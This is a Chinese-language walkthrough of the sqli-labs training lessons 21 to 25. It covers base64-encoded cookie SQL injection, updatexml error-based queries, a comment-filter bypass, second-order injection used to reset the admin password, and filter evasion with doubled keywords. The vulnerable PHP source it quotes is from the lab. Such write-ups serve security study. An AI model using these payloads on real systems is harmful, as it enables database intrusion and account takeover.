sqli-labs通关21-25
目录
1.lesson-21cookie注入
还是需要登录成功
判断注入闭合 为单引号括号的注入
cookie base64解码 ,发现是admin
YScpIw== #解码后是a')#
查用户
YScpIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IHVzZXIoKSksMHg3ZSksMSkj
#解码后是a') and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
2.lesson-22 Cookie注入
判断注入类型
为双引号注入
YSIj #base64解码后为a"#
查用户
YSIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgdXNlcigpKSwweDdlKSwxKSM=
#base64解码a" and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
3. lesson-23 updatexml报错注入
判断注入:
?id=1' or '1'='1
其他注释不可用,把这些符号过滤掉了
if(isset($_GET['id']))
{
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
查用户:
?id=1' or updatexml(1,concat(0x7e,(select user()),0x7e),1) or '1'='1
4.lesson-24 二次注入
本关源码共有8个php文件
流程 首先进入的是index.php,然后开启session,提交到login.php,session和cookie分别储存username和auth,username为通过username数据库查询的username,跳转到logged-in.php,改密码就跳转到pass_chaged.php,用户名是通过session获取的,所有这个地方可能有漏洞,其他文件通过html获取用户名和密码,都使用了mysql_escape_string()函数,,创建用户时会跳转到new-user.php,数据提交到login_create.php,然后跳转到index.php,forgot.php没东西,不能用
新建一个用户admin'#,为什么这么创建,为单引号注入且username是从session中读取
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
然后在重置密码,随便设即可登录成功,不能进行or updatexml(1,concat(0x7e,(select user()),0x7e),1) #读取是因为字段长度有限制
5.双写order
过滤了and和or
判断注入
单引号注入
?id=1' -- +
判断列数
?id=1' ororder by 5-- +
查用户:
?id=-1' union select 1,user(),3-- +
mysql开启日志: